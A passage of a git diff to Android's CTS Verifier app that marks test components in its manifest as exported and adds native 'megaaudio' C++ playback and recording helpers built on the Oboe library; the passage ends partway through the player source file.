@@ -4600,11 +4845,11 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output:android.hardware.usb.host" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencyUnprocessedActivity"
+                android:exported="true"
                   android:label="@string/audio_frequency_unprocessed_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4612,11 +4857,11 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.usb.host" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencyVoiceRecognitionActivity"
+                android:exported="true"
                   android:label="@string/audio_frequency_voice_recognition_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4624,11 +4869,11 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.usb.host" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioAEC"
+                android:exported="true"
                   android:label="@string/audio_aec_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4636,11 +4881,11 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <service android:name=".tv.MockTvInputService"
+                android:exported="true"
             android:permission="android.permission.BIND_TV_INPUT">
             <intent-filter>
                 <action android:name="android.media.tv.TvInputService" />
@@ -4649,7 +4894,8 @@
                 android:resource="@xml/mock_tv_input_service" />
         </service>
 
-        <receiver android:name=".tv.TvInputReceiver">
+        <receiver android:name=".tv.TvInputReceiver"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.media.tv.action.QUERY_CONTENT_RATING_SYSTEMS" />
             </intent-filter>
@@ -4773,6 +5019,7 @@
         <!-- 6DoF sensor test -->
         <activity
                 android:name="com.android.cts.verifier.sensors.sixdof.Activities.StartActivity"
+                android:exported="true"
                 android:label="@string/six_dof_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4790,6 +5037,7 @@
         </activity>
 
         <activity android:name=".voicemail.VoicemailBroadcastActivity"
+                android:exported="true"
           android:label="@string/voicemail_broadcast_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4815,7 +5063,8 @@
                        android:value="multi_display_mode" />
         </activity>
 
-        <receiver android:name=".voicemail.VoicemailBroadcastReceiver">
+        <receiver android:name=".voicemail.VoicemailBroadcastReceiver"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.telephony.action.SHOW_VOICEMAIL_NOTIFICATION" />
             </intent-filter>
@@ -4823,6 +5072,7 @@
 
         <activity
             android:name=".voicemail.VisualVoicemailServiceActivity"
+                android:exported="true"
             android:label="@string/visual_voicemail_service_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4844,6 +5094,7 @@
 
         <activity
             android:name=".dialer.DialerIncomingCallTestActivity"
+                android:exported="true"
             android:label="@string/dialer_incoming_call_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4864,6 +5115,7 @@
         </activity>
 
         <service android:name=".dialer.DialerCallTestService"
+                android:exported="true"
             android:permission="android.permission.BIND_INCALL_SERVICE">
             <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI" android:value="true" />
             <intent-filter>
@@ -4873,6 +5125,7 @@
 
         <activity
             android:name=".dialer.DialerShowsHunOnIncomingCallActivity"
+                android:exported="true"
             android:label="@string/dialer_shows_hun_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4894,6 +5147,7 @@
 
         <activity
             android:name=".voicemail.CallSettingsCheckActivity"
+                android:exported="true"
             android:label="@string/call_settings_check_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4915,6 +5169,7 @@
 
         <activity
             android:name=".voicemail.VoicemailSettingsCheckActivity"
+                android:exported="true"
             android:label="@string/ringtone_settings_check_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4936,6 +5191,7 @@
 
         <activity
             android:name=".dialer.DialerImplementsTelecomIntentsActivity"
+                android:exported="true"
             android:label="@string/dialer_telecom_intents_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4966,6 +5222,7 @@
 
         <activity
             android:name=".telecom.EnablePhoneAccountTestActivity"
+                android:exported="true"
             android:label="@string/telecom_enable_phone_account_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4987,6 +5244,7 @@
 
         <activity
             android:name=".telecom.OutgoingCallTestActivity"
+                android:exported="true"
             android:label="@string/telecom_outgoing_call_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -5008,6 +5266,7 @@
 
         <activity
             android:name=".telecom.SelfManagedIncomingCallTestActivity"
+                android:exported="true"
             android:label="@string/telecom_incoming_self_mgd_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -5029,6 +5288,7 @@
 
         <activity
             android:name=".telecom.IncomingCallTestActivity"
+                android:exported="true"
             android:label="@string/telecom_incoming_call_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -5049,6 +5309,7 @@
         </activity>
 
         <activity android:name=".telecom.TelecomDefaultDialerTestActivity"
+                android:exported="true"
                   android:label="@string/telecom_default_dialer_test_title">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -5069,6 +5330,7 @@
         </activity>
 
         <activity android:name=".telecom.CtsVerifierInCallUi"
+                android:exported="true"
                   android:label="@string/telecom_in_call_ui_label">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -5085,12 +5347,14 @@
         </activity>
 
         <service android:name="com.android.cts.verifier.telecom.CtsConnectionService"
+                android:exported="true"
             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
             <intent-filter>
                 <action android:name="android.telecom.ConnectionService" />
             </intent-filter>
         </service>
         <service android:name="com.android.cts.verifier.telecom.CtsSelfManagedConnectionService"
+                android:exported="true"
             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
             <intent-filter>
                 <action android:name="android.telecom.ConnectionService" />
@@ -5098,6 +5362,7 @@
         </service>
 
         <activity android:name=".instantapps.NotificationTestActivity"
+                android:exported="true"
                  android:label="@string/ia_notification">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -5109,6 +5374,7 @@
                        android:value="multi_display_mode" />
         </activity>
         <activity android:name=".instantapps.RecentAppsTestActivity"
+                android:exported="true"
                  android:label="@string/ia_recents">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -5120,6 +5386,7 @@
                        android:value="multi_display_mode" />
         </activity>
         <activity android:name=".instantapps.AppInfoTestActivity"
+                android:exported="true"
                  android:label="@string/ia_app_info">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -5133,6 +5400,7 @@
         </activity>
 
         <activity android:name=".displaycutout.DisplayCutoutTestActivity"
+                android:exported="true"
                   android:label="@string/display_cutout_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -5142,10 +5410,16 @@
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
         </activity>
+        <activity android:name=".speech.tts.TtsTestActivity"
+                  android:label="@string/tts_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_other" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.watch" />
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+        </activity>
     </application>
-
-    <queries>
-         <!-- Rotation Vector CV Crosscheck (RVCVXCheckTestActivity) relies on OpenCV Manager -->
-         <package android:name="org.opencv.engine" />
-    </queries>
 </manifest>
diff --git a/apps/CtsVerifier/jni/audio_loopback/Android.bp b/apps/CtsVerifier/jni/audio_loopback/Android.bp
index 97da63f..8232db9 100644
--- a/apps/CtsVerifier/jni/audio_loopback/Android.bp
+++ b/apps/CtsVerifier/jni/audio_loopback/Android.bp
@@ -6,11 +6,13 @@
     name: "libaudioloopback_jni",
     srcs: [
         "jni-bridge.cpp",
-        "NativeAudioAnalyzer.cpp",
+        "NativeAudioAnalyzer.cpp"
     ],
     include_dirs: [
         "frameworks/av/media/ndk/include",
         "system/core/include/cutils",
+        "cts/apps/CtsVerifier/jni/megaaudio/player",
+        "cts/apps/CtsVerifier/jni/megaaudio/recorder"
     ],
     header_libs: ["jni_headers"],
     shared_libs: [
@@ -22,6 +24,7 @@
     cflags: [
         "-Werror",
         "-Wall",
+        "-Wno-unused-parameter",
         // For slCreateEngine
         "-Wno-deprecated",
     ],
diff --git a/apps/CtsVerifier/jni/megaaudio/Android.bp b/apps/CtsVerifier/jni/megaaudio/Android.bp
new file mode 100644
index 0000000..97bda4d
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/Android.bp
@@ -0,0 +1,56 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test_library {
+    name: "libmegaaudio_jni",
+    srcs: [
+        "common/OboeStream.cpp",
+        "common/StreamBase.cpp",
+        "player/NativeAudioSource.cpp",
+        "player/NoiseAudioSource.cpp",
+        "player/OboePlayer.cpp",
+        "player/SinAudioSource.cpp",
+        "player/WaveTableSource.cpp",
+        "recorder/AppCallbackAudioSink.cpp",
+        "recorder/DefaultAudioSink.cpp",
+        "recorder/NativeAudioSink.cpp",
+        "recorder/OboeRecorder.cpp",
+    ],
+    sdk_version: "current",
+    stl: "libc++_static",
+    header_libs: ["jni_headers"],
+    include_dirs: [
+        "cts/apps/CtsVerifier/jni/megaaudio/common",
+        "external/oboe/include",
+    ],
+    shared_libs: [
+        "liblog",
+        "libOpenSLES",
+    ],
+    static_libs: [
+        "oboe",
+    ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-Wno-unused-variable",
+    ],
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/common/OboeStream.cpp b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.cpp
new file mode 100644
index 0000000..c2dad94
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.cpp
@@ -0,0 +1,111 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include <oboe/Oboe.h>
+
+#include "OboeStream.h"
+
+static const char * const TAG = "OboePlayer(native)";
+
+using namespace oboe;
+
+StreamBase::Result OboeStream::OboeErrorToMegaAudioError(oboe::Result oboeError) {
+
+    StreamBase::Result maErr = ERROR_UNKNOWN;
+
+    switch (oboeError) {
+        case oboe::Result::OK:
+            maErr = OK;
+            break;
+        case oboe::Result::ErrorInternal:
+            maErr = ERROR_UNKNOWN;
+            break;
+        case oboe::Result::ErrorClosed:
+            maErr = ERROR_INVALID_STATE;
+            break;
+        default:
+            maErr = ERROR_UNKNOWN;
+            break;
+    }
+
+    return maErr;
+}
+
+StreamBase::Result OboeStream::teardownStream() {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "teardownStream()");
+
+    std::lock_guard<std::mutex> lock(mStreamLock);
+    return teardownStream_l();
+}
+
+StreamBase::Result OboeStream::teardownStream_l() {
+    // tear down the player
+    if (mAudioStream == nullptr) {
+        return ERROR_INVALID_STATE;
+    } else {
+        oboe::Result result = oboe::Result::OK;
+        result = mAudioStream->stop();
+        if (result == oboe::Result::OK) {
+            result = mAudioStream->close();
+        }
+        mAudioStream = nullptr;
+        return OboeErrorToMegaAudioError(result);
+    }
+}
+
+StreamBase::Result OboeStream::startStream() {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "startStream()");
+
+    // Don't cover up (potential) bugs in AAudio
+    oboe::OboeGlobals::setWorkaroundsEnabled(false);
+
+    std::lock_guard<std::mutex> lock(mStreamLock);
+
+    oboe::Result result = oboe::Result::ErrorInternal;
+    if (mAudioStream != nullptr) {
+        result = mAudioStream->requestStart();
+        if (result != oboe::Result::OK){
+            __android_log_print(
+                    ANDROID_LOG_ERROR,
+                    TAG,
+                    "requestStart failed. Error: %s", convertToText(result));
+
+            // clean up
+            teardownStream_l();
+        }
+    }
+    mStreamStarted = result == oboe::Result::OK;
+
+    return OboeErrorToMegaAudioError(result);
+}
+
+StreamBase::Result OboeStream::stopStream() {
+    std::lock_guard<std::mutex> lock(mStreamLock);
+
+    Result errCode = ERROR_UNKNOWN;
+    if (mAudioStream == nullptr) {
+        errCode = ERROR_INVALID_STATE;
+    } else {
+        oboe::Result result = mAudioStream->stop();
+        mStreamStarted = false;
+
+        errCode = OboeErrorToMegaAudioError(result);
+    }
+
+    mStreamStarted = false;
+    return errCode;
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/common/OboeStream.h b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.h
new file mode 100644
index 0000000..a622ddd
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.h
@@ -0,0 +1,50 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_COMMON_OBOESTREAM_H
+#define MEGA_COMMON_OBOESTREAM_H
+
+#include <cstdint>
+#include <mutex>
+
+#include <StreamBase.h>
+
+class OboeStream: public StreamBase {
+public:
+    static Result OboeErrorToMegaAudioError(oboe::Result oboeError);
+
+    virtual Result teardownStream() override;
+
+    virtual Result startStream() override;
+    virtual Result stopStream() override;
+
+protected:
+    OboeStream(int32_t subtype) : mSubtype(subtype), mStreamStarted(false) {}
+
+    // determine native back-end to use.
+    // either SUB_TYPE_OBOE_DEFAULT, SUB_TYPE_OBOE_AAUDIO or SUB_TYPE_OBOE_OPENSL_ES
+    int32_t mSubtype;
+
+    // Oboe Audio Stream
+    std::shared_ptr<oboe::AudioStream>  mAudioStream;
+    bool    mStreamStarted;
+
+    std::mutex mStreamLock;
+
+    Result teardownStream_l();
+};
+
+#endif //MEGA_COMMON_OBOESTREAM_H
diff --git a/apps/CtsVerifier/jni/megaaudio/common/StreamBase.cpp b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.cpp
new file mode 100644
index 0000000..4339cbf
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.cpp
@@ -0,0 +1,19 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "StreamBase.h"
+
+//TODO Currently there are no, non-inline, non-pure-virtual methods of StreamBase.
diff --git a/apps/CtsVerifier/jni/megaaudio/common/StreamBase.h b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.h
new file mode 100644
index 0000000..fc34de8
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.h
@@ -0,0 +1,110 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_COMMON_STREAMBASE_H
+#define MEGA_COMMON_STREAMBASE_H
+
+#include <cstdint>
+
+class AudioSink;
+
+class StreamBase {
+public:
+    //
+    // Error Codes
+    // These values must be kept in sync with the equivalent symbols in
+    // org.hyphonate.megaaudio.common.Streambase.java
+    //
+    enum Result {
+        OK = 0,
+        ERROR_UNKNOWN = -1,
+        ERROR_UNSUPPORTED = -2,
+        ERROR_INVALID_STATE = -3
+    };
+
+    StreamBase() :
+        mChannelCount(0),
+        mSampleRate(0),
+        mRouteDeviceId(ROUTING_DEVICE_NONE),
+        mBufferSizeInFrames(-1) {}
+    virtual ~StreamBase() {}
+
+    //
+    // Attributes
+    //
+    static const int32_t ROUTING_DEVICE_NONE    = -1;
+    int32_t getRoutedDeviceId() const { return mRouteDeviceId; }
+
+    int32_t getNumBufferFrames() const { return mBufferSizeInFrames; }
+
+    //
+    // State
+    //
+    /**
+     * Initializes the audio stream as specified, but does not start the stream. Specifically,
+     * concrete subclasses should do whatever initialization and resource allocation required
+     * such that the stream can be started (in startStream()) as quickly as possible.
+     *
+     * The expectation is that this method will be synchronous in concrete subclasses.
+     *
+     * @param channelCount  the number of channels in the audio data
+     * @param sampleRate the desired playback sample rate
+     * @param the device id of the device to route the audio to.
+     * @param a pointer to an AudioSource (subclass) object which will provide the audio data.
+     * @return ERROR_NONE if successful, otherwise an error code
+     */
+    virtual Result setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) = 0;
+
+    /**
+     * Deinitializes the stream.
+     * Concrete subclasses should stop the stream (is not already stopped) and deallocate any
+     * resources being used by the stream.
+     * The stream cannot be started again without another call to setupAudioStream().
+     *
+     * The expectation is that this method will be synchronous in concrete subclasses.
+     * @return ERROR_NONE if successful, otherwise an error code
+     */
+    virtual Result teardownStream() = 0;
+
+    /**
+     * Begin the playback/recording process.
+     *
+     * In concrete subclasses, this may be either synchronous or asynchronous.
+     * @return ERROR_NONE if successful, otherwise an error code
+     */
+    virtual Result startStream() = 0;
+
+    /**
+     * Stop the playback/recording process.
+     *
+     * In concrete subclasses, this may be either synchronous or asynchronous.
+     */
+    virtual Result stopStream() = 0;
+
+protected:
+    // Audio attributes
+    int32_t mChannelCount;
+    int32_t mSampleRate;
+    int32_t mRouteDeviceId;
+    int32_t mBufferSizeInFrames;
+
+    // from org.hyphonate.megaaudio.common.BuilderBase
+    static const int32_t SUB_TYPE_OBOE_AAUDIO       = 0x0001;
+    static const int32_t SUB_TYPE_OBOE_OPENSL_ES    = 0x0002;
+};
+
+#endif // MEGA_COMMON_STREAMBASE_H
+
diff --git a/apps/CtsVerifier/jni/megaaudio/player/AudioSource.h b/apps/CtsVerifier/jni/megaaudio/player/AudioSource.h
new file mode 100644
index 0000000..20dd5b4
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/AudioSource.h
@@ -0,0 +1,64 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_AUDIOSOURCE_H
+#define MEGA_PLAYER_AUDIOSOURCE_H
+
+class AudioSource {
+public:
+    AudioSource() {}
+    virtual ~AudioSource() {}
+
+    static const int NUMCHANNELS_UNSPECIFIED = -1;
+    static const int NUMCHANNELS_ERROR = -2;
+    virtual int getNumChannels() { return NUMCHANNELS_UNSPECIFIED; }
+
+    // Encoding Constants (specific to MegaAudio)
+    static const int ENCODING_UNSPECIFIED = -1;
+    static const int ENCODING_ERROR = -2;
+    static const int ENCODING_UNINITIALIZED = 0;
+    static const int ENCODING_FLOAT = 1;
+    static const int ENCODING_PCM16 = 2;
+    static const int ENCODING_PCM24 = 3;
+    static const int ENCODING_PCM32 = 4;
+    virtual int getEncoding() { return ENCODING_UNSPECIFIED; };
+
+    /**
+     * Called before the stream starts to allow initialization of the source
+     * @param numFrames The number of frames that will be requested in each pull() call.
+     * @param numChans The number of channels in the stream.
+     */
+    virtual void init(int numFrames, int numChans) {}
+
+    /**
+     * Reset the stream to its beginning
+     */
+    virtual void reset() {}
+
+    /**
+     * Process a request for audio data.
+     * @param audioData The buffer to be filled.
+     * @param numFrames The number of frames of audio to provide.
+     * @param numChans The number of channels (in the buffer) required by the player.
+     * @return The number of frames actually generated. If this value is less than that
+     * requested, it may be interpreted by the player as the end of playback.
+     * Note that the player will be blocked by this call.
+     * Note that the data is assumed to be *interleaved*.
+     */
+    virtual int pull(float* buffer, int numFrames, int numChans) = 0;
+};
+
+#endif // MEGA_PLAYER_AUDIOSOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/NativeAudioSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/NativeAudioSource.cpp
new file mode 100644
index 0000000..1fdf2aa
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/NativeAudioSource.cpp
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include "AudioSource.h"
+
+//TODO - Probably wrap the JNI handling in a class with a pointer held in the Java Object
+// so as to support multiple instances... maybe.
+
+// JNI Stuff
+static float* sAudioBuffer;
+
+extern "C" {
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_player_NativeAudioSource_initN(
+        JNIEnv *env, jobject thiz, jlong native_source_ptr, jint num_frames, jint num_chans) {
+    sAudioBuffer = new float[num_frames * num_chans];
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_player_NativeAudioSource_resetN(
+        JNIEnv *env, jobject thiz, jlong native_source_ptr) {
+    // TODO: implement reset()
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_player_NativeAudioSource_pullN(
+        JNIEnv *env, jobject thiz, jlong native_source_ptr,
+        jfloatArray audio_data, jint num_frames, jint num_chans) {
+    AudioSource* audioSource = (AudioSource*)native_source_ptr;
+    int numFrames = audioSource->pull(sAudioBuffer, num_frames, num_chans);
+
+    // Convert to Java float[]
+    env->SetFloatArrayRegion(audio_data, 0, numFrames * num_chans, sAudioBuffer);
+
+    return numFrames;
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.cpp
new file mode 100644
index 0000000..6f6cad5
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.cpp
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <cstdlib>
+#include <ctime>
+
+#include "NoiseAudioSource.h"
+
+NoiseAudioSource::NoiseAudioSource() {
+    srand (static_cast <unsigned> (time(0)));
+}
+
+int NoiseAudioSource::pull(float* buffer, int numFrames, int numChans) {
+    int numSamples = numFrames * numChans;
+    for(int index = 0; index < numSamples; index++) {
+        buffer[index] = (float)((drand48() * 2.0) - 1.0);
+    }
+
+    return numFrames;
+}
+
+//
+// JNI
+//
+#include <jni.h>
+
+extern "C" {
+JNIEXPORT jlong JNICALL
+Java_com_android_smoke_megaplayer_sources_NoiseAudioSourceProvider_native_1getNativeSource(
+        JNIEnv *env, jobject thiz) {
+    return (jlong)new NoiseAudioSource;
+}
+
+}   // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.h b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.h
new file mode 100644
index 0000000..8bdb243
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.h
@@ -0,0 +1,36 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_NOISEAUDIOSOURCE_H
+#define MEGA_PLAYER_NOISEAUDIOSOURCE_H
+
+#include "AudioSource.h"
+
+class NoiseAudioSource: public AudioSource {
+public:
+    NoiseAudioSource();
+
+    /**
+     * Fills the specified buffer with random noise.
+     * @return  The number of frames generated. Since we are generating a continuous periodic
+     * signal, this will always be <code>numFrames</code>.
+     */
+    virtual int pull(float* buffer, int numFrames, int numChans) override;
+
+};
+
+
+#endif // MEGA_PLAYER_NOISEAUDIOSOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.cpp b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.cpp
new file mode 100644
index 0000000..135f385
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.cpp
@@ -0,0 +1,182 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include "OboePlayer.h"
+#include "WaveTableSource.h"
+
+#include "AudioSource.h"
+
+static const char * const TAG = "OboePlayer(native)";
+
+using namespace oboe;
+
+constexpr int32_t kBufferSizeInBursts = 2; // Use 2 bursts as the buffer size (double buffer)
+
+OboePlayer::OboePlayer(AudioSource* source, int subtype)
+ : Player(source, subtype)
+{}
+
+DataCallbackResult OboePlayer::onAudioReady(AudioStream *oboeStream, void *audioData,
+                                            int32_t numFrames) {
+    StreamState streamState = oboeStream->getState();
+    if (streamState != StreamState::Open && streamState != StreamState::Started) {
+        __android_log_print(ANDROID_LOG_ERROR, TAG, "  streamState:%d", streamState);
+    }
+    if (streamState == StreamState::Disconnected) {
+        __android_log_print(ANDROID_LOG_ERROR, TAG, "  streamState::Disconnected");
+    }
+
+    // memset(audioData, 0, numFrames * mChannelCount * sizeof(float));
+
+    // Pull the data here!
+    int numFramesRead = mAudioSource->pull((float*)audioData, numFrames, mChannelCount);
+    // may need to handle 0-filling if numFramesRead < numFrames
+
+    return numFramesRead != 0 ? DataCallbackResult::Continue : DataCallbackResult::Stop;
+}
+
+void OboePlayer::onErrorAfterClose(AudioStream *oboeStream, oboe::Result error) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "==== onErrorAfterClose() error:%d", error);
+
+    startStream();
+}
+
